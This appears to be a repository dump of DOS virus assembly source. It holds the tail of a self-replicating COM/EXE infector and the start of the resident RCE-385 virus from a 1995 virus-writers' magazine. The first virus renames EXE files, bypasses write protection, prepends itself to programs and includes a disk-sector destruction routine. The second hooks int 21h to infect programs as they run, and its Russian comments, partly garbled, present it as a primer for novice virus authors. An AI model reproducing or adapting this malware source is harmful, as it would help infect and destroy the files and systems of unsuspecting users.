mov ah,19h ; drive?
|
||||
int 21h
|
||||
|
||||
;*************************************************************************
|
||||
|
||||
; Get the current path on the current drive
|
||||
;*************************************************************************
|
||||
|
||||
mov cs:drive,al ; save drive
|
||||
mov ah,47h ; dir?
|
||||
mov ah,ah
|
||||
mov si,si
|
||||
mov dh,0
|
||||
add al,1
|
||||
mov dl,dl
|
||||
nop ;****
|
||||
mov dl,al
|
||||
mov dl,dl
|
||||
nop ;**** ; in actual drive
|
||||
lea si,cs:old_path
|
||||
int 21h
|
||||
|
||||
;*************************************************************************
|
||||
|
||||
; Get the number of drives present.
|
||||
; If only one drive is present, the pointer for
|
||||
; search order will be set to search order + 6
|
||||
;*************************************************************************
|
||||
|
||||
mov ah,0eh ; how many disks
|
||||
mov dl,0 ;****????
|
||||
int 21h
|
||||
|
||||
mov al,01
|
||||
cmp al,01 ; one drive?
|
||||
jnz hups3
|
||||
mov al,06
|
||||
|
||||
hups3: mov ah,0
|
||||
lea bx,search_order
|
||||
add bx,ax
|
||||
add bx,0001h
|
||||
mov cs:pointer,bx
|
||||
clc
|
||||
|
||||
;*************************************************************************
|
||||
|
||||
; Carry is set, if no more .COM's are found.
|
||||
; Then, to avoid unnecessary work, .EXE files will
|
||||
; be renamed to .COM file and infected.
|
||||
; This causes the error message "Program too large
|
||||
; to fit in memory" when starting larger infected
|
||||
; EXE programs.
|
||||
;*************************************************************************
|
||||
|
||||
change_disk:
|
||||
jnc no_name_change
|
||||
mov ah,17h ; change exe to com
|
||||
lea dx,cs:maske_exe
|
||||
int 21h
|
||||
cmp al,0ffh
|
||||
jnz no_name_change ; .EXE found?
|
||||
|
||||
;*************************************************************************
|
||||
|
||||
; If neither .COM nor .EXE is found, then sectors will
|
||||
; be overwritten depending on the system time in
|
||||
; milliseconds. This is the time of the complete
|
||||
; "infection" of a storage medium. The virus can find
|
||||
; nothing more to infect and starts its destruction.
|
||||
;*************************************************************************
|
||||
|
||||
; mov ah,2ch ; read system clock
|
||||
; int 21h
|
||||
; mov bx,cs:pointer
|
||||
; mov al,cs:[bx]
|
||||
; mov bx,dx
|
||||
; nop ;****
|
||||
; mov cx,2
|
||||
; nop ;****
|
||||
; mov dh,0
|
||||
; int 26h ; write crap on disk
|
||||
|
||||
db ' RB2 - LiquidCode <tm> '
|
||||
;*************************************************************************
|
||||
|
||||
; Check if the end of the search order table has been
|
||||
; reached. If so, end.
|
||||
;*************************************************************************
|
||||
|
||||
no_name_change:
|
||||
mov bx,cs:pointer
|
||||
dec bx
|
||||
mov cs:pointer,bx
|
||||
mov dl,cs:[bx]
|
||||
cmp dl,0ffh
|
||||
jnz hups2
|
||||
jmp hops
|
||||
|
||||
;*************************************************************************
|
||||
|
||||
; Get new drive from search order table and
|
||||
; select it.
|
||||
;*************************************************************************
|
||||
|
||||
hups2:
|
||||
mov ah,0eh
|
||||
mov dl,2 ;***** +
|
||||
int 21h ; change disk
|
||||
|
||||
;*************************************************************************
|
||||
|
||||
; Start in the root directory
|
||||
;*************************************************************************
|
||||
|
||||
mov ah,3bh ; change path
|
||||
lea dx,path
|
||||
int 21h
|
||||
jmp find_first_file
|
||||
|
||||
;*************************************************************************
|
||||
|
||||
; Starting from the root, search for the first subdir
|
||||
; First convert all .EXE files to .COM in the old
|
||||
; directory.
|
||||
;*************************************************************************
|
||||
|
||||
find_first_subdir:
|
||||
mov ah,17h ; change exe to com
|
||||
lea dx,cs:maske_exe
|
||||
int 21h
|
||||
mov ah,3bh ; use root dir
|
||||
lea dx,path
|
||||
int 21h
|
||||
mov ah,04eh ;Search for first subdirectory
|
||||
mov cx,00010001b ; dir mask
|
||||
lea dx,maske_dir
|
||||
int 21h
|
||||
jc change_disk
|
||||
|
||||
mov bx,CS:counter
|
||||
INC BX
|
||||
DEC bx
|
||||
jz use_next_subdir
|
||||
|
||||
;*************************************************************************
|
||||
|
||||
; Search for the next subdir. If no more directories
|
||||
; are found, the drive will be changed.
|
||||
;*************************************************************************
|
||||
|
||||
find_next_subdir:
|
||||
mov ah,4fh ; search for next subdir
|
||||
int 21h
|
||||
jc change_disk
|
||||
dec bx
|
||||
jnz find_next_subdir
|
||||
|
||||
;*************************************************************************
|
||||
|
||||
; Select found directory
|
||||
;*************************************************************************
|
||||
|
||||
use_next_subdir:
|
||||
mov ah,2fh ; get dta address
|
||||
int 21h
|
||||
add bx,1ch
|
||||
mov es:[bx],'\ ' ; address of name in dta
|
||||
inc bx
|
||||
push ds
|
||||
mov ax,es
|
||||
mov ds,ax
|
||||
mov dx,bx
|
||||
mov ah,3bh ; change path
|
||||
int 21h
|
||||
pop ds
|
||||
mov bx,cs:counter
|
||||
inc bx
|
||||
mov CS:counter,bx
|
||||
|
||||
;*************************************************************************
|
||||
|
||||
; Find first .COM file in the current directory.
|
||||
; If there are non, search the next directory.
|
||||
;*************************************************************************
|
||||
|
||||
find_first_file:
|
||||
mov ah,04eh ; Search for first
|
||||
mov cx,00000001b ; mask
|
||||
lea dx,maske_com ;
|
||||
int 21h
|
||||
jc find_first_subdir
|
||||
jmp check_if_ill
|
||||
|
||||
;*************************************************************************
|
||||
|
||||
; If the program is already infected, search for
|
||||
; the next program.
|
||||
;*************************************************************************
|
||||
|
||||
find_next_file:
|
||||
mov ah,4fh ; search for next
|
||||
int 21h
|
||||
jc find_first_subdir
|
||||
|
||||
;*************************************************************************
|
||||
|
||||
; Check if already infected by the virus.
|
||||
;*************************************************************************
|
||||
|
||||
check_if_ill:
|
||||
mov ah,3dh ; open channel
|
||||
mov al,02h ; read/write
|
||||
mov dx,9eh ; address of name in dta
|
||||
int 21h
|
||||
mov bx,ax ; save channel
|
||||
mov ah,3fh ; read file
|
||||
mov cx,buflen ;
|
||||
mov dx,buffer ; write in buffer
|
||||
int 21h
|
||||
mov ah,3eh ; CLOSE FILE
|
||||
int 21h
|
||||
|
||||
;*************************************************************************
|
||||
|
||||
; Here we search for three NOP's.
|
||||
; If present, there is already an infection. We must
|
||||
; then continue the search.
|
||||
;*************************************************************************
|
||||
|
||||
mov bx,cs:[buffer]
|
||||
cmp bx,9090h
|
||||
jz find_next_file
|
||||
|
||||
;*************************************************************************
|
||||
|
||||
; Bypass MS-DOS write protection if present
|
||||
;*************************************************************************
|
||||
|
||||
mov ah,43h ; write enable
|
||||
mov al,0
|
||||
mov dx,9eh ; address of name in dta
|
||||
int 21h
|
||||
mov ah,43h
|
||||
mov al,01h
|
||||
and cx,11111110b
|
||||
int 21h
|
||||
|
||||
;*************************************************************************
|
||||
|
||||
; Open file for write access.
|
||||
;*************************************************************************
|
||||
|
||||
mov ah,3dh ; open channel
|
||||
mov al,02h ; read/write
|
||||
mov dx,9eh ; address of name in dta
|
||||
int 21h
|
||||
|
||||
;*************************************************************************
|
||||
|
||||
; Read date entry of program and save for future use.
|
||||
;*************************************************************************
|
||||
|
||||
mov bx,ax ; channel
|
||||
mov ah,57h ; get date
|
||||
mov al,0
|
||||
int 21h
|
||||
push cx ; save date
|
||||
push dx
|
||||
|
||||
;*************************************************************************
|
||||
|
||||
; The jump located at address 0100h of the program
|
||||
; will be saved for future use.
|
||||
;*************************************************************************
|
||||
|
||||
mov dx,cs:[conta] ; save old jmp
|
||||
mov cs:[jmpbuf],dx
|
||||
mov dx,cs:[buffer+1] ; save new jump
|
||||
lea cx,cont-100h
|
||||
sub dx,cx
|
||||
mov cs:[conta],dx
|
||||
|
||||
;*************************************************************************
|
||||
|
||||
; The virus copies itself to the start of the file
|
||||
;*************************************************************************
|
||||
|
||||
mov ah,40h ; write virus
|
||||
mov cx,buflen ; length buffer
|
||||
lea dx,main ; write virus
|
||||
int 21h
|
||||
|
||||
;*************************************************************************
|
||||
|
||||
; Enter the old creation date of the file.
|
||||
;*************************************************************************
|
||||
|
||||
mov ah,57h ; write date
|
||||
mov al,1
|
||||
pop dx
|
||||
pop cx ; restore date
|
||||
int 21h
|
||||
|
||||
;*************************************************************************
|
||||
|
||||
; Close the file.
|
||||
;*************************************************************************
|
||||
|
||||
mov ah,3eh ; close file
|
||||
int 21h
|
||||
|
||||
;*************************************************************************
|
||||
|
||||
; restore the old jump address.
|
||||
; The virus saves at address "conta' the jump which
|
||||
; was at the start of the host program.
|
||||
; This is done to preserve the executability of the
|
||||
; host program as much as possible.
|
||||
; After saving itstill works with the jump address
|
||||
; contained in the virus. The jump address in the
|
||||
; virus differs from the jump address in memory
|
||||
;
|
||||
;*************************************************************************
|
||||
|
||||
mov dx,cs:[jmpbuf] ; restore old jmp
|
||||
mov cs:[conta],dx
|
||||
hops: nop
|
||||
call use_old
|
||||
|
||||
;*************************************************************************
|
||||
|
||||
; Continue with the host program.
|
||||
;*************************************************************************
|
||||
|
||||
cont db 0e9h ; make jump
|
||||
conta dw 0
|
||||
mov ah,00
|
||||
int 21h
|
||||
|
||||
;*************************************************************************
|
||||
|
||||
; reactivate the selected drive at the start of the
|
||||
; program.
|
||||
;*************************************************************************
|
||||
|
||||
use_old:
|
||||
mov ah,0eh ; use old drive
|
||||
mov dl,cs:drive
|
||||
int 21h
|
||||
|
||||
;*************************************************************************
|
||||
|
||||
; Reactivate the selected path at the start of the
|
||||
; program.
|
||||
;*************************************************************************
|
||||
|
||||
mov ah,3bh ; use old dir
|
||||
lea dx,old_path-1 ; get old path and backslash
|
||||
int 21h
|
||||
ret
|
||||
|
||||
|
||||
search_order db 0ffh,1,0,2,3,0ffh,00,0ffh
|
||||
pointer dw 0000 ; pointer f. search order
|
||||
counter dw 0000 ; counter f. nth search
|
||||
disks db 0 ; number of disks
|
||||
|
||||
|
||||
maske_com db "*.com",00 ; search for com files
|
||||
maske_dir db "*",00 ; search dir's
|
||||
maske_exe db 0ffh,0,0,0,0,0,00111111b
|
||||
db 0,"????????exe",0,0,0,0
|
||||
db 0,"????????com",0
|
||||
maske_all db 0ffh,0,0,0,0,0,00111111b
|
||||
db 0,"???????????",0,0,0,0
|
||||
db 0,"????????com",0
|
||||
|
||||
buffer equ 0e000h ; a safe place
|
||||
|
||||
buflen equ 230h ; length of virus !!!!!!
|
||||
; careful
|
||||
; if changing !!!!!!
|
||||
|
||||
jmpbuf equ buffer+buflen ; a safe place for jump
|
||||
path db "\",0 ; first path
|
||||
drive db 0 ; actual drive
|
||||
back_slash db "\"
|
||||
old_path db 32 dup(?) ; old path
|
||||
|
||||
code ends
|
||||
|
||||
end main
|
||||
|
||||
;*************************************************************************
|
||||
; WHAT THE PROGRAM DOES:
|
||||
;
|
||||
; When the program is started, the first COM file in the root
|
||||
; directory is infected. You can't see any changes to the
|
||||
; directory entries. But if you look at the hex dump of an
|
||||
; infected program, you can see the marker, which in this case
|
||||
; consists of three NOP's (hex 90). WHen the infected program
|
||||
; is started, the virus will first replicate itself, and then
|
||||
; try to run the host program. It may run or it may not, but
|
||||
; it will infect another program. This continues until all
|
||||
; the COM files are infected. The next time it is run, all
|
||||
; of the EXE files are changed to COM files so that they can
|
||||
; be infected. In addition, the manipulation task of the virus
|
||||
; begins, which consists of the random destruction of disk
|
||||
; sectors.
|
||||
;*************************************************************************
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
|
@ -0,0 +1,391 @@
|
|||
;ÛßßßßßßßßßßßßßßßÛ ß ß ÛÛßÛÛßÛÛ
|
||||
;Û STEALTH group Û° Û ÛßÜ Ûßß Üßß Üßß ßÛß Üßß ÛßÛ Ý Û ÜßÛ Û Üßß Üßß ÛÛ ßß ÛÛ
|
||||
;Û presents Û° Û Û Û Ûß Ûß Û Û Ûß Û Û Û Û Û Û Û Û ßÛßß ÛÛÛÛÛ ÛÛ
|
||||
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ° Þ Þ Þ Þ ÞÜÜ ÞÜÜ Þ ÞÜÜ ÞÜß ßÛ ßÜÛ Þ ÞÜÜ ÞÜÜ ÛÛÛÛÛÜÛÛ
|
||||
; °°°°°°°°°°°°°°°°° JAN 1995
|
||||
;
|
||||
; INFECTED VOICE. Issue 4. January 1995. (C) STEALTH group, Kiev 148, Box 10.
|
||||
; THE FIRST UNIQUE VIRUS MAGAZINE IN FORMER U.S.S.R.!!!
|
||||
;
|
||||
;--- RCE-385 (!).-------------------------------------------------------------
|
||||
; <20>ª¨¥ ®¤ ª® ¢à¥¬¥ ¯®è«¨ - ®¡ì«áï ¥ª¨© ¤ï¤îèª Œ®á⮢®© ¨ ¯¨á « ᢮©
|
||||
;ç¥à⮢᪨ ¤®â®èë© AdInf -> ã ¨ çâ® ¦¥ ⥯¥àì?Œ-¤ ,⥯¥àì ᨤ¨¬ ¬ë â¥å®ªàëáë
|
||||
;¨ á⥠¥¬ ¯® ⥬ ¤®¡àë¬ ¢à¥¬¥ ¬,ª®£¤ ã à æ¥«ë© §®®¯ ઠ¬ 訥 ¡¥£ «,
|
||||
; ® - ¡« ¦¥ ¢ ¥¢¥¤¥¨¨,á«î®î ¡à맦 ,¤®ª §ë¢ «,çâ® ¥âã â ª¨å §¢¥à¥© ¢ RAM¥.
|
||||
; € ⥯¥àì ¯® áâ ¢¨«¨ ¯à¨¬®ç¥ª ¢á直å - çãâì çâ®,áà §ã § ¢®¯ïâ!„ ¦¥ á⥫§ë
|
||||
;¯à¨§ ¤ã¬ «¨áì : "€ 祣® íâ® ¬ë ᤥáì ⥫ ᢮¨ ᮪àë¢ ¥¬,¯àïç áì ª ª *beep ¢
|
||||
;*beep".ˆ á â¥å ¯®à ¯®è¥« à §« ¤ ¢ á।¥ ‚¨à¬ ª®¢.Šâ® ¯à¥¤« £ ¥â àë«® ¢ § é¨é¥-
|
||||
;ë© à¥¦¨¬ áããâì ¨ ⥬ á ¬ë¬ ¯®¤£«ï¤ë¢ ¨¥ ¯à¨á¥çì, ªâ® ¯® ¤®¡à®â¥ ¤ã襢®©
|
||||
;®¡¥é ¥â ¯à¨ ॠªæ¨¨ ¤¥â¥ªâ®à ª ª®£®, «ì áâ®à®¦ ¢¥§¤¥áã饣®,¬ 訥 ¢¨â
|
||||
; *beep ®¯ã᪠âì!<21>® ¢á¥ íâ® ¯®« ï *beepï!<21>®á«ãè ©â¥ ¡à âæë ‚¨à¬ ª¨ --
|
||||
;¥ ¢ â¨à ¦¥ áç áâì¥, ¢ ªà á®â¥ «£®à¨â¬ !!!<21>¥å © «®¢ïâáï ¢ è¨ §¢¥à¨ ¢á直¬¨
|
||||
;ॢ¨§®à ¬¨,¯ãáâì ä®à¬ â¨â à ᢮¨ ¢¨âë.<2E>Ž 祬 ¡®«ìè¥ á ⥬ ¬¥ìè¥ î§¥à®¢!
|
||||
;(ˆ¡® ¬®£¨¥ ¨§ á ¥é¥ ¥ ¯®§ ¡ë«¨ Basic).€ «¥ç¨«ª¨ ¢á直¥ - ®¨ ¬ §¥¬«î
|
||||
;à áç¨é îâ,¤«ï ®¢ëå "¯®á ¤®ª"!
|
||||
; <20>® ᨥ ¢á¥ 梥â®çª ¬¨ ®¡§ë¢ ¥âáï!€ ¢®â ¯à¥¤á⠢⥠ᥡ¥,çâ® á¬ëè«¥ë© ¬ «ë©
|
||||
;¦¥« ¥â ¯¨á âì ¯¥à¢®¥ ᢮¥ ¯à®¨§¢¥¤¥¨¥, ¥â ã ¥£® ¨ ⥮ਨ ¨ ¬ â¥àëå
|
||||
;ª®à¥è¥©-‚¨à¬ ª®¢!‚®â ¨ ¯à¨è«®áì ¬¥ á®áâ ¢«ïâì ¯®á®¡¨¥-¤«ï- ç¨ îé¨å.
|
||||
;<3B>ë« íâ® ¢¨àãá RCE-666 (¬®î ¯¨á ).Aidstest ¥£® ª«¨ç¥â: INFO /666,Web: Die-666.
|
||||
;® ¯®â®¬ ®¡à¥§ ¢ ¥£® ¬ «¥ìª®,¯®«ã稫 ï RCE-385!
|
||||
; <20> ¤¥îáì,çâ® Ž<> ¤«ï ®¢¨çª®¢- ã祡¨ª®¬ áâ ¥â, ¤«ï £®á¯®¤ « ¬¥à®¢ - ¤®á⮩-
|
||||
;ë¬ ¯®«¨£®®¬!
|
||||
;-----------------------------------------------------------------------------
|
||||
;(c) Light General.Kiev.1995. STEALTH group . For free use!
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
cseg segment
|
||||
assume cs:cseg,ds:cseg
|
||||
org 100h
|
||||
start:
|
||||
nop ; <20>ਧ ª § à ¦¥¨ï .COM ä ©« .
|
||||
jmp virr
|
||||
; Ÿª®¡ë § à ¦¥ ï ¯à®£à ¬¬ .(‡ ¨¬ ¥â 30 ¡ ©â).
|
||||
nop
|
||||
nop
|
||||
mov ah,09
|
||||
lea dx,wrn
|
||||
int 21h
|
||||
mov ax,4c00h
|
||||
int 21h
|
||||
;--------------------------------------
|
||||
wrn db 'FRODO LIVES!$'
|
||||
;--------------------------------------
|
||||
|
||||
;################# VIRUS ##################
|
||||
|
||||
virr:
|
||||
call $+3
|
||||
pop si
|
||||
sub si,03
|
||||
;-Hacked mem.-----------------------------------------------------
|
||||
push si
|
||||
clc
|
||||
mov ax,0FEFEh ; <20>஢¥à塞 ¯ ¬ïâì § à ¦¥®áâì!
|
||||
int 21h ; Š®«¨ ¢¨àãá “†… ᨤ¨â ¢ ¬ 訥 â® ®
|
||||
jc exit_v ; ¯®¤¨¬¥â ä« £ CF!
|
||||
;- ‘«¥¤ãîé ï ç áâì ª®¤ ¯à®¨§¢®¤¨â "®âªãáë¢ ¨¥" 512 ¡ ©â ¯ ¬ïâ¨!-------------
|
||||
; <20>à¨æ¨¯ í⮣® "®âªãáë¢ ¨ï" ®á®¢ë¢ ¥âáï ⮬,çâ® ¯à¨ ¢ë¯®«¥¨¨ ¯à®£à ¬¬ë
|
||||
;á¨á⥬ áâந⠯¥à¥¤ ¥¥ ª®¤®¬ â ª¨¥ ¡«®ª¨ (®¡à â¨â¥ ¢¨¬ ¨¥ ¢ë¤¥«¥ë¥
|
||||
;ç áâ¨)
|
||||
;---(1)--- MCB - Memory Control Block (<28>«®ª ã¯à ¢«¥¨ï ¯ ¬ïâìî)
|
||||
; Ž¡ëç® ¢ â ª¨å ¡«®ª å DOS ®¯¨áë¢ ¥â ¢ë¤¥«¥ë¥ ¯à®£à ¬¬ ¬ ãç á⪨ ¯ ¬ïâ¨!
|
||||
; ”Ž<E2809D>Œ€’ :
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ‘¬¥é¥¨¥ ï祩ª¨ ®â ³ „«¨ ³ <20> § 票¥
|
||||
; ç « ¡«®ª . ³ ³
|
||||
; ³ ³
|
||||
; 00 ³ 1b ³ …᫨ á⮨â 'M' â® íâ®â ¡«®ª ¥ ¯®á«¥¤¨©
|
||||
; ³ ³ 'Z' ¯®á«¥¤¨©.
|
||||
; 01 ³ 1w ³ ‘¥£¬¥âë© ¤à¥á (á ª®â®à®£® ¢ë¤¥«¥ ¡«®ª).
|
||||
;++++> 03 ³ 1w ³ „«¨ ¡«®ª ¢ ¯ à £à ä å (¯ à £à ä = 16 ¡ ©â)
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
;„ «ìè¥ ¨¤ãâ ¥é¥ ¤ ë¥,® á ¨â¥à¥áã¥â ⮫쪮 íâ®! ÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
;
|
||||
;---(2)--- PSP - Program Segment Prefix (<28>à¥ä¨ªá ¯à®£à ¬¬®£® ᥣ¬¥â )
|
||||
; ‘¤¥áì ᮤ¥à¦¨âáï ¨ä®à¬ æ¨ï ¤«ï § ¯ã᪠¥¬®© ¯à®£à ¬¬ë!
|
||||
; ”Ž<E2809D>Œ€’ :
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ‘¬¥é¥¨¥ ï祩ª¨ ®â ³ „«¨ ³ <20> § 票¥
|
||||
; ç « ¡«®ª . ³ ³
|
||||
; ³ ³
|
||||
; 00 ³ 1w ³ ‚ í⮬ á«®¢¥ á⮨⠪®¬ ¤ int 20h (CD 20h)
|
||||
;++++> 02 ³ 1w ³ Ž¡é¨© à §¬¥à ¯ ¬ï⨠¢ë¤¥«¥ë© ¯à®£à ¬¬¥!
|
||||
; ³ ³ (<28>ਠ§ ¯ã᪥ ¯à®£à ¬¬ë DOS ¢ë¤¥«ï¥â ¥© ¢áî
|
||||
; ³ ³ ¯ ¬ïâì "¤® ª®æ " 640 ª¨«®¡ ©â!)
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
;„ «ìè¥ ¨¤ãâ ¥ ¨â¥à¥áãî騥 á ¤ ë¥! ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
||||
;-- ’ ª ¢®â,®â¨¬ ï ¥ª®â®à®¥ § 票¥ ®â ¢ë¤¥«¥ëå ï祥ª,¬ë ¬®¦¥¬ ᤥ« âì
|
||||
;"¤ëàªã" ¢ áâ àè¨å ¤à¥á å ¯ ¬ï⨠¨ ¯¥à¥¥á⨠â㤠⥫® ¢¨àãá !
|
||||
; <20>à ªâ¨ç¥áª ï ॠ«¨§ æ¨ï :
|
||||
mov ax,ds
|
||||
dec ax
|
||||
mov es,ax
|
||||
sub word ptr es:[03],35 ;* 512b
|
||||
sub word ptr ds:[02],35 ;* 512b
|
||||
mov es,ds:[02] ; ES = ᥣ¬¥â. ¤à. "®âªãè." ¯ ¬ïâ¨!
|
||||
push ds cs
|
||||
pop ds
|
||||
xor di,di
|
||||
mov cx,offset ax_len-offset virr ; „«¨ ¢¨àãá !
|
||||
rep movsb ; <20>¥à¥®á¨¬ ¢¨àãá ¢ "®âª." ¯ ¬ïâì!
|
||||
;-Install int.----------------------------------------------------
|
||||
mov al,21h
|
||||
mov dx,offset int_21h_entry-offset virr
|
||||
mov si,offset ofs_21h-offset virr
|
||||
push es
|
||||
pop ds
|
||||
call inst_int ; “áâ ®¢¨¬ ¤à¥á int 21h ᢮©
|
||||
; ®¡à ¡®â稪.
|
||||
pop ds
|
||||
exit_v:
|
||||
push ds
|
||||
pop es
|
||||
pop si
|
||||
;- COM or EXE ?---------------------------------------------------
|
||||
; <20>஢¥à¨¬ ¨§ ª ª®£® ä ©« ¬ë áâ à⮢ «¨?
|
||||
; <20>â® ¤¥« ¥âáï ¯®â®¬ã,çâ® ¯¥à¥¤ ç ã¯à ¢«¥¨ï .COM ¨«¨ .EXE ¯à®£à ¬¬¥
|
||||
; ¯à®¨á室¨â ¯® à §®¬ã!
|
||||
cmp byte ptr cs:[si+offset origin_2_byte-offset virr+1],'Z'
|
||||
jz L_exe
|
||||
;-‚ocáâ ®¢¨âì âਠ¡ ©â ‡.<2E>.-------------------------------------
|
||||
; “ .COM ä ©« ¤®¡® ¢®ááâ ®¢¨âì ç¥âëॠ¯¥à¢ëå ¡ ©â ª®â®àë¥ ¬ë ¨§¬¥¨«¨
|
||||
; ¯à¨ § à ¦¥¨ï ä ©« ¤¨áª¥!(Œë § ¯¨á «¨ â㤠ª®¬ ¤ã ¯¥à¥å®¤ ¢¨àãá).
|
||||
mov di,100h
|
||||
add si,offset origin_2_byte-offset virr
|
||||
; SI = ¤à¥á ¡ãä¥à á ®à¨£¨ «ì묨 ¡ ©â ¬¨ .COM ä ©« !
|
||||
push di
|
||||
movsw
|
||||
movsw
|
||||
xor ax,ax
|
||||
ret ; Go to infected com program.
|
||||
;-Loaded from exe file.--------------------------------------------
|
||||
; € ¢®â í⮠ᯮᮡ ªâ¨¢ 樨 .EXE ¯à®£à ¬¬ë!
|
||||
; ‘¤¥áì ¯à®¨á室¨â ¢á¥ ¨ ç¥ : â.ª. ¯à¨ § à ¦¥¨¨ ä ©« ¬ë ¨§¬¥¨«¨ ¢ ¥¬
|
||||
; § £®«®¢®ª ª®â®àë© ãª §ë¢ ¥â á ª ª®£® ¤à¥á íâ®â ä ©« § ¯ã᪠îâ!
|
||||
; (Šâ® ¥ § ¥â,çâ® â ª®¥ § £®«®¢®ª .EXE ä ©« ¯ãáâì ®¡à â¨âáï ª ª¨£¥ <20>.€¡¥«ï
|
||||
; "Ÿ§ëª €áᥬ¡«¥à ¤«ï IBM PC ¨ ¯à®£à ¬¬¨à®¢ ¨ï" (áâà. 362)
|
||||
L_exe:
|
||||
mov ax,es
|
||||
add ax,10h
|
||||
add cs:[offset CS_file-offset virr][si],ax
|
||||
; ’ ª ¬ë ¢ëç¨á«¨«¨ ᥣ¬¥â ¢ ª®â®àë© ¤® ¯¥à¥¤ âì ã¯à ¢«¥¨¥!
|
||||
db 0eah ;-
|
||||
IP_file dw ? ;- JMP Far CS_file:IP_file
|
||||
CS_file dw ? ;-
|
||||
;------------------------------------------------------------------
|
||||
; € í⮠ᮡá⢥® ç áâì ®â¢¥ç îé ï § § à ¦¥¨¥ ¯à®£à ¬¬!
|
||||
int_21h_entry proc
|
||||
cmp ax,0FEFEh ;-…᫨ ᮡà â á¯à 訢 ¥â ® «¨ç¨¨
|
||||
jnz _@1 ;-᢮¥© த¨ â® ¤ âì ¤à㦥᪨© ®â¢¥â.
|
||||
stc ;-
|
||||
int_24h_entry:
|
||||
mov al,03
|
||||
retf 2
|
||||
|
||||
_@1:
|
||||
cmp ax,4b00h ; …᫨ DOS ¯ëâ ¥âáï ¢ë¯®«¨âì ¯à®£à ¬¬ã
|
||||
jnz exit_all ; â® ¬ë § à ¦ ¥¬ ¥¥!
|
||||
jmp infecting ;
|
||||
exit_date:
|
||||
mov ax,5701h ; “áâ ®¢ª áâ ன ¤ âë ä ©« .
|
||||
mov cx,es:[di+13] ;<- Time
|
||||
mov dx,es:[di+15] ;<- Date
|
||||
int 21h
|
||||
exit_close:
|
||||
mov ah,3eh ; <20>¥à¥¤ ¯¥à¥¤ 祩 ã¯à ¢«¥¨ï DOS'ã -
|
||||
int 21h ; § ªà®¥¬ ä ©« ª®â®àë© § à ¦ «¨!
|
||||
exit_pop:
|
||||
lds dx,cs:[offset ofs_24h-offset virr]
|
||||
mov ax,2524h ; “áâ ®¢¨¬ ¬¥áâ® int 24h
|
||||
int 21h
|
||||
pop bp
|
||||
pop ds
|
||||
pop es
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
exit_all:
|
||||
db 0eah
|
||||
ofs_21h dw 0000
|
||||
seg_21h dw 0000
|
||||
int_21h_entry endp
|
||||
;-------------------------------------------------------------------
|
||||
infecting:
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push es
|
||||
push ds
|
||||
push bp
|
||||
push ds
|
||||
push dx
|
||||
;------------------------------------------------------------------
|
||||
; <20>¥à¥áâ ¢¨¬ ¤à¥á ¢¥ªâ®à int 24h è ®¡à ¡®â稪 - â.¥. ¯à®áâãî
|
||||
; § £«ãèªã,ª®â®à ï ¢ á«ãç ¥ "§ ª«¥¥®©" ¤¨áª¥âë ¥ ¯®§¢®«¨â DOS'ã ªà¨ç âì :
|
||||
; Write protect error ...
|
||||
mov al,24h
|
||||
mov si,offset ofs_24h-offset virr
|
||||
mov dx,offset int_24h_entry-offset virr
|
||||
call inst_int
|
||||
pop dx
|
||||
pop ds
|
||||
;-Open file...-----------------------------------------------------
|
||||
mov ax,3d00h
|
||||
int 21h
|
||||
jc exit_pop
|
||||
;-Read header (EXE) or first 4 byte (COM).-------------------------
|
||||
mov bh,3fh
|
||||
xchg ax,bx
|
||||
mov cx,18h
|
||||
push cs
|
||||
pop ds
|
||||
mov dx,offset origin_2_byte-offset virr
|
||||
mov si,dx
|
||||
int 21h ; ‘ç¨âë¢ ¥¬ ¢ ¡ãä¥à 24 ¯¥à¢ëå ¡ ©â ¯à®£à ¬¬ë!
|
||||
_1:
|
||||
jc exit_close ; …᫨ ®è¨¡ª ,â® § ªà®¥¬ ä ©« ¨ ¢ë©¤¥¬.
|
||||
;-Look SFT file!-----------------------------
|
||||
